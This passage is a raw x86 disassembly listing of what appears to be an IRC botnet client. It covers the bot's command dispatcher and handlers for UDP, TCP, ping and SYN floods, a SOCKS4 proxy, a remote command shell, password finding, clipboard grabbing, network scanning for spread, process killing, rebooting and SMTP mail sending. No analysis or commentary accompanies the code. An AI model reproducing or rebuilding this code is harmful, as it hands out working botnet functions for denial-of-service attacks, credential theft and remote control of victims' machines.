		push	[ebp+arg_0]
		lea	eax, [ebp+var_1F70]
		push	eax
		call	sub_414670
		push	esi
		lea	eax, [ebp+var_1F70]
		push	eax
		lea	eax, [ebp+var_2270]
		push	eax
		call	sub_414670
		mov	esi, offset asc_420AE8 ; " "
		lea	eax, [ebp+var_2270]
		push	esi
		push	eax
		call	sub_415459
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+var_A8], eax
		inc	edi


loc_4096DF:				; CODE XREF: sub_408A18+CDCj
		push	esi
		push	0
		call	sub_415459
		mov	[ebp+edi*4+var_A8], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_4096DF
		lea	eax, [ebp+ebx+var_A8]
		mov	ecx, [eax]
		test	ecx, ecx
		jz	loc_408C96
		add	ecx, 3
		mov	[eax], ecx


loc_40970C:				; CODE XREF: sub_408A18+B18j
		mov	eax, [ebp+ebx+var_A8]
		push	8
		mov	edi, eax
		mov	esi, offset aRndnick ; "rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		mov	[ebp+var_1C], eax
		jz	loc_40E4EB
		push	3
		mov	edi, eax
		mov	esi, offset aRn	; "rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E4EB
		push	4
		mov	edi, eax
		mov	esi, offset aDie ; "die"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DA39
		push	2
		mov	edi, eax
		mov	esi, offset aD	; "d"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DA39
		push	7
		mov	edi, eax
		mov	esi, offset aLogout ; "logout"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D94B
		push	3
		mov	edi, eax
		mov	esi, offset aLo	; "lo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D94B
		push	8
		mov	edi, eax
		mov	esi, offset aVersion ; "version"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D92D
		push	4
		mov	edi, eax
		mov	esi, offset aVer ; "ver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D92D
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D82E
		push	4
		mov	edi, eax
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D82E
		push	9
		mov	edi, eax
		mov	esi, offset aUnsecure ;	"unsecure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D82E
		push	6
		mov	edi, eax
		mov	esi, offset aUnsec ; "unsec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D82E
		push	7
		mov	edi, eax
		mov	esi, offset aSocks4 ; "socks4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D709
		push	3
		mov	edi, eax
		mov	esi, offset aS4	; "s4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D709
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSocks4stop	; "socks4stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409856
		push	[ebp+ebx+var_A4]
		push	12h
		push	offset aServer_0 ; "Server"
		push	offset aSocks4_0 ; "[SOCKS4]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409856:				; CODE XREF: sub_408A18+E24j
		push	0Bh
		mov	edi, eax
		mov	esi, offset aRloginstop	; "rloginstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40987E
		push	[ebp+ebx+var_A4]
		push	7
		push	offset aServer_0 ; "Server"
		push	offset aRlogind	; "[RLOGIND]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_40987E:				; CODE XREF: sub_408A18+E4Cj
		push	9
		mov	edi, eax
		mov	esi, offset aHttpstop ;	"httpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4098A6
		push	[ebp+ebx+var_A4]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset aHttpd	; "[HTTPD]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_4098A6:				; CODE XREF: sub_408A18+E74j
		push	8
		mov	edi, eax
		mov	esi, offset aLogstop ; "logstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4098CE
		push	[ebp+ebx+var_A4]
		push	1Dh
		push	offset aLogList	; "Log list"
		push	offset aLog	; "[LOG]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_4098CE:				; CODE XREF: sub_408A18+E9Cj
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRedirectstop ; "redirectstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4098F6
		push	[ebp+ebx+var_A4]
		push	11h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect_0 ; "[REDIRECT]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_4098F6:				; CODE XREF: sub_408A18+EC4j
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDdos_stop ; "ddos.stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40991E
		push	[ebp+ebx+var_A4]
		push	0Bh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset aDdos	; "[DDoS]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_40991E:				; CODE XREF: sub_408A18+EECj
		push	8
		mov	edi, eax
		mov	esi, offset aSynstop ; "synstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409946
		push	[ebp+ebx+var_A4]
		push	0Ch
		push	offset aSynFlood ; "Syn	flood"
		push	offset aSyn_0	; "[SYN]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409946:				; CODE XREF: sub_408A18+F14j
		push	8
		mov	edi, eax
		mov	esi, offset aUdpstop ; "udpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40996E
		push	[ebp+ebx+var_A4]
		push	10h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset aUpd	; "[UPD]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_40996E:				; CODE XREF: sub_408A18+F3Cj
		push	9
		mov	edi, eax
		mov	esi, offset aPingstop ;	"pingstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409996
		push	[ebp+ebx+var_A4]
		push	0Fh
		push	offset aPingFlood ; "Ping flood"
		push	offset aPing_1	; "[PING]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409996:				; CODE XREF: sub_408A18+F64j
		push	9
		mov	edi, eax
		mov	esi, offset aIcmpstop ;	"icmpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4099BE
		push	[ebp+ebx+var_A4]
		push	0Eh
		push	offset aIcmpFlood ; "ICMP flood"


loc_4099B4:				; CODE XREF: sub_408A18+FC4j
		push	offset aIcmp_0	; "[ICMP]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_4099BE:				; CODE XREF: sub_408A18+F8Cj
		push	8
		mov	edi, eax
		mov	esi, offset aTcpstop ; "tcpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_4099DE
		push	[ebp+ebx+var_A4]
		push	0Dh
		push	offset aTcpFlood ; "TCP	flood"
		jmp	short loc_4099B4
; ---------------------------------------------------------------------------


loc_4099DE:				; CODE XREF: sub_408A18+FB4j
		push	9
		mov	edi, eax
		mov	esi, offset aTftpstop ;	"tftpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409A06
		push	[ebp+ebx+var_A4]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset aTftp_0	; "[TFTP]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409A06:				; CODE XREF: sub_408A18+FD4j
		push	0Dh
		mov	edi, eax
		mov	esi, offset aFindfilestop ; "findfilestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D6DA
		push	7
		mov	edi, eax
		mov	esi, offset aFfstop ; "ffstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D6DA
		push	0Ah
		mov	edi, eax
		mov	esi, offset aProcsstop ; "procsstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D6C5
		push	7
		mov	edi, eax
		mov	esi, offset aPsstop ; "psstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D6C5
		push	0Ah
		mov	edi, eax
		mov	esi, offset aClonestop ; "clonestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409A7E
		push	[ebp+ebx+var_A4]
		push	18h
		push	offset aClone	; "Clone"
		push	offset aClones	; "[CLONES]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409A7E:				; CODE XREF: sub_408A18+104Cj
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSecurestop	; "securestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409AA6
		push	[ebp+ebx+var_A4]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset aSecure_1 ; "[SECURE]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409AA6:				; CODE XREF: sub_408A18+1074j
		push	9
		mov	edi, eax
		mov	esi, offset aScanstop ;	"scanstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409ACE
		push	[ebp+ebx+var_A4]
		push	9
		push	offset aScan_1	; "Scan"
		push	offset aScan_0	; "[SCAN]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409ACE:				; CODE XREF: sub_408A18+109Cj
		push	0Ah
		mov	edi, eax
		mov	esi, offset aScanstats ; "scanstats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D6AC
		push	6
		mov	edi, eax
		mov	esi, offset aStats ; "stats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D6AC
		push	0Ah
		mov	edi, eax
		mov	esi, offset aReconnect ; "reconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D68B
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D68B
		push	0Bh
		mov	edi, eax
		mov	esi, offset aDisconnect	; "disconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D669
		push	3
		mov	edi, eax
		mov	esi, offset aDc	; "dc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D669
		push	5
		mov	edi, eax
		mov	esi, offset aQuit_0 ; "quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D61F
		push	2
		mov	edi, eax
		mov	esi, offset aQ	; "q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D61F
		push	7
		mov	edi, eax
		mov	esi, offset aStatus ; "status"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D5E0
		push	2
		mov	edi, eax
		mov	esi, offset aS_4 ; "s"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D5E0
		push	3
		mov	edi, eax
		mov	esi, offset aId	; "id"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D5A8
		push	2
		mov	edi, eax
		mov	esi, offset aI_0 ; "i"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D5A8
		push	7
		mov	edi, eax
		mov	esi, offset aReboot ; "reboot"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409C10
		call	sub_406A11
		test	eax, eax
		mov	eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
		jnz	short loc_409BE1
		mov	eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot	system."


loc_409BE1:				; CODE XREF: sub_408A18+11C2j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 1Ch
		jmp	loc_40DA31
; ---------------------------------------------------------------------------


loc_409C10:				; CODE XREF: sub_408A18+11B4j
		push	8
		mov	edi, eax
		mov	esi, offset aThreads ; "threads"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D4B9
		push	2
		mov	edi, eax
		mov	esi, offset aT	; "t"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D4B9
		push	8
		mov	edi, eax
		mov	esi, offset aAliases ; "aliases"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D496
		push	3
		mov	edi, eax
		mov	esi, offset aAl	; "al"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D496
		push	4
		mov	edi, eax
		mov	esi, offset aLog_0 ; "log"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D3A3
		push	3
		mov	edi, eax
		mov	esi, offset aLg	; "lg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D3A3
		push	9
		mov	edi, eax
		mov	esi, offset aClearlog ;	"clearlog"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D387
		push	4
		mov	edi, eax
		mov	esi, offset aClg ; "clg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D387
		push	8
		mov	edi, eax
		mov	esi, offset aNetinfo ; "netinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D34C
		push	3
		mov	edi, eax
		mov	esi, offset aNi	; "ni"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D34C
		push	8
		mov	edi, eax
		mov	esi, offset aSysinfo ; "sysinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D320
		push	3
		mov	edi, eax
		mov	esi, offset aSi	; "si"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D320
		push	8
		mov	edi, eax
		mov	esi, offset aDestroy ; "destroy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D2A3
		push	0Bh
		mov	edi, eax
		mov	esi, offset aErradicate	; "erradicate"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D2A3
		push	6
		mov	edi, eax
		mov	esi, offset aProcs ; "procs"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D17D
		push	3
		mov	edi, eax
		mov	esi, offset aPs	; "ps"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D17D
		push	7
		mov	edi, eax
		mov	esi, offset aUptime ; "uptime"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0F6
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0F6
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDriveinfo ; "driveinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0D9
		push	4
		mov	edi, eax
		mov	esi, offset aDrv ; "drv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0D9
		push	9
		mov	edi, eax
		mov	esi, offset aTestdlls ;	"testdlls"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0C0
		push	4
		mov	edi, eax
		mov	esi, offset aDll ; "dll"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0C0
		push	8
		mov	edi, eax
		mov	esi, offset aOpencmd ; "opencmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D081
		push	5
		mov	edi, eax
		mov	esi, offset aOcmd ; "ocmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D081
		push	8
		mov	edi, eax
		mov	esi, offset aCmdstop ; "cmdstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_409E18
		push	[ebp+ebx+var_A4]
		push	8
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd_0	; "[CMD]"
		jmp	loc_40D6ED
; ---------------------------------------------------------------------------


loc_409E18:				; CODE XREF: sub_408A18+13E6j
		push	4
		mov	edi, eax
		mov	esi, offset aWho ; "who"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40A157
		cmp	[ebp+var_8], edx
		jnz	short loc_409E4B
		push	edx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_409E4B:				; CODE XREF: sub_408A18+1417j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409E50:				; CODE XREF: sub_408A18+147Fj
		cmp	byte ptr [edi],	0
		lea	eax, [edi+1]
		jnz	short loc_409E5D
		mov	eax, offset aEmpty ; "<Empty>"


loc_409E5D:				; CODE XREF: sub_408A18+143Ej
		push	eax
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4145E5
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_409E50
		push	offset aMainLoginListC ; "[MAIN]: Login	list complete."
		call	sub_401EFF
		mov	eax, [ebp+var_1C]
		pop	ecx


loc_409EA7:				; CODE XREF: sub_408A18+239Ej
					; sub_408A18+5033j
		mov	ecx, [ebp+ebx+var_98]
		test	ecx, ecx
		mov	[ebp+var_14], ecx
		jz	loc_408C96
		push	8
		mov	edi, eax
		mov	esi, offset aAdvscan ; "advscan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E0C4
		push	4
		mov	edi, eax
		mov	esi, offset aAsc ; "asc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E0C4
		push	9
		mov	edi, eax
		mov	esi, offset aUdpflood ;	"udpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DF7B
		push	4
		mov	edi, eax
		mov	esi, offset aUdp ; "udp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DF7B
		push	2
		mov	edi, eax
		mov	esi, offset aU	; "u"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DF7B
		push	0Ah
		mov	edi, eax
		mov	esi, offset aPingflood ; "pingflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DE3F
		push	5
		mov	edi, eax
		mov	esi, offset aPing_0 ; "ping"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DE3F
		push	2
		mov	edi, eax
		mov	esi, offset aP	; "p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DE3F
		push	9
		mov	edi, eax
		mov	esi, offset aTcpflood ;	"tcpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DC54
		push	4
		mov	edi, eax
		mov	esi, offset aTcp ; "tcp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DC54
		push	6
		mov	edi, eax
		mov	esi, offset aEmail ; "email"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40DA5E
		mov	eax, [ebp+ebx+var_A4]
		lea	edx, [ebp+var_AAC]
		sub	edx, eax


loc_409FA4:				; CODE XREF: sub_408A18+1594j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_409FA4
		push	[ebp+ebx+var_A0]
		call	sub_414972
		mov	esi, eax
		mov	eax, [ebp+ebx+var_9C]
		lea	edx, [ebp+var_2070]
		pop	ecx
		sub	edx, eax


loc_409FCC:				; CODE XREF: sub_408A18+15BCj
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_409FCC
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_1520]
		sub	edx, eax


loc_409FE1:				; CODE XREF: sub_408A18+15D1j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_409FE1
		push	offset asc_420AE8 ; " "
		push	offset a_	; "_"
		push	[ebp+ebx+var_94]
		call	sub_40668C
		add	esp, 0Ch
		lea	edx, [ebp+var_1D70]


loc_40A00A:				; CODE XREF: sub_408A18+15FAj
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_40A00A
		lea	eax, [ebp+var_2400]
		push	eax
		push	101h
		call	dword_4357F8	; WSAStartup
		lea	eax, [ebp+var_AAC]
		push	eax
		call	dword_435848	; gethostbyname
		push	6
		push	1
		push	2
		mov	ebx, eax
		call	dword_4357E8	; socket
		mov	edi, eax
		mov	[ebp+var_D8], 2
		mov	eax, [ebx+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_D4], eax
		call	dword_435934	; ntohs
		mov	[ebp+var_D6], ax
		lea	eax, [ebp+var_1D70]
		push	eax
		lea	eax, [ebp+var_2070]
		push	eax
		lea	eax, [ebp+var_1D70]
		push	eax
		lea	eax, [ebp+var_1520]
		push	eax
		lea	eax, [ebp+var_2070]
		push	eax
		lea	eax, [ebp+var_2800]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4145E5
		add	esp, 1Ch
		push	10h
		lea	eax, [ebp+var_D8]
		push	eax
		push	edi
		call	dword_4357A0	; connect
		xor	ebx, ebx
		push	ebx
		mov	esi, 100h
		push	esi
		lea	eax, [ebp+var_1C6C]
		push	eax
		push	edi
		call	dword_43575C	; recv
		lea	eax, [ebp+var_1C6C]
		lea	ecx, [eax+1]


loc_40A0CE:				; CODE XREF: sub_408A18+16BBj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40A0CE
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_2800]
		push	eax
		push	edi
		call	dword_43587C	; send
		push	ebx
		push	esi
		lea	eax, [ebp+var_1C6C]
		push	eax
		push	edi
		call	dword_43575C	; recv
		push	edi
		call	dword_4358F4	; closesocket
		call	dword_435900	; WSACleanup
		lea	eax, [ebp+var_1520]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aEmailMessageSe ; "[EMAIL]: Message sent	to %s."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40A140
		push	ebx


loc_40A125:				; CODE XREF: sub_408A18+3986j
					; sub_408A18+3A2Fj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]


loc_40A138:				; CODE XREF: sub_408A18+3170j
		call	sub_4056FB
		add	esp, 14h


loc_40A140:				; CODE XREF: sub_408A18+170Aj
					; sub_408A18+3158j ...
		mov	esi, [ebp+arg_24]


loc_40A143:				; CODE XREF: sub_408A18+39C4j
					; sub_408A18+39E7j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		pop	ecx
		mov	eax, esi
		jmp	loc_408C99
; ---------------------------------------------------------------------------


loc_40A157:				; CODE XREF: sub_408A18+140Ej
		push	8
		mov	edi, eax
		mov	esi, offset aGetclip ; "getclip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D03D
		push	3
		mov	edi, eax
		mov	esi, offset aGc	; "gc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D03D
		push	9
		mov	edi, eax
		mov	esi, offset aFlusharp ;	"flusharp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D012
		push	5
		mov	edi, eax
		mov	esi, offset aFarp ; "farp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D012
		push	9
		mov	edi, eax
		mov	esi, offset aFlushdns ;	"flushdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CFE2
		push	5
		mov	edi, eax
		mov	esi, offset aFdns ; "fdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CFE2
		push	0Ah
		mov	edi, eax
		mov	esi, offset aCurrentip ; "currentip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CFA8
		push	4
		mov	edi, eax
		mov	esi, offset aCip ; "cip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CFA8
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRloginserver ; "rloginserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CE6F
		push	7
		mov	edi, eax
		mov	esi, offset aRlogin ; "rlogin"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CE6F
		push	0Bh
		mov	edi, eax
		mov	esi, offset aHttpserver	; "httpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CCEE
		push	5
		mov	edi, eax
		mov	esi, offset aHttp ; "http"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CCEE
		push	0Bh
		mov	edi, eax
		mov	esi, offset aTftpserver	; "tftpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CB97
		push	5
		mov	edi, eax
		mov	esi, offset aTftp ; "tftp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CB97
		push	9
		mov	edi, eax
		mov	esi, offset aFindpass ;	"findpass"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CAEF
		push	3
		mov	edi, eax
		mov	esi, offset aFp	; "fp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CAEF
		push	8
		mov	edi, eax
		mov	esi, offset aScanall ; "scanall"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C7BA
		push	3
		mov	edi, eax
		mov	esi, offset aSa	; "sa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C7BA
		mov	ecx, [ebp+ebx+var_A4]
		test	ecx, ecx
		mov	[ebp+var_C], ecx
		jz	loc_408C96
		push	5
		mov	edi, eax
		mov	esi, offset aNick_0 ; "nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C795
		push	2
		mov	edi, eax
		mov	esi, offset aN	; "n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C795
		push	5
		mov	edi, eax
		mov	esi, offset aJoin ; "join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C771
		push	2
		mov	edi, eax
		mov	esi, offset aJ	; "j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C771
		push	5
		mov	edi, eax
		mov	esi, offset aPart_0 ; "part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C757
		push	3
		mov	edi, eax
		mov	esi, offset aPt	; "pt"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C757
		push	4
		mov	edi, eax
		mov	esi, offset aRaw ; "raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C720
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C720
		push	0Bh
		mov	edi, eax
		mov	esi, offset aKillthread	; "killthread"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C666
		push	2
		mov	edi, eax
		mov	esi, offset aK	; "k"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C666
		push	7
		mov	edi, eax
		mov	esi, offset aC_quit ; "c_quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C5B8
		push	4
		mov	edi, eax
		mov	esi, offset aC_q ; "c_q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C5B8
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_rndnick ; "c_rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C567
		push	5
		mov	edi, eax
		mov	esi, offset aC_rn ; "c_rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C567
		push	7
		mov	edi, eax
		mov	esi, offset aPrefix ; "prefix"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C54E
		push	3
		mov	edi, eax
		mov	esi, offset aPr	; "pr"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C54E
		push	5
		mov	edi, eax
		mov	esi, offset aOpen ; "open"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C518
		push	2
		mov	edi, eax
		mov	esi, offset aO	; "o"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C518
		push	7
		mov	edi, eax
		mov	esi, offset aServer ; "server"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C4EF
		push	3
		mov	edi, eax
		mov	esi, offset aSe	; "se"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C4EF
		push	4
		mov	edi, eax
		mov	esi, offset aDns ; "dns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C47F
		push	3
		mov	edi, eax
		mov	esi, offset aDn	; "dn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C47F
		push	9
		mov	edi, eax
		mov	esi, offset aKillproc ;	"killproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
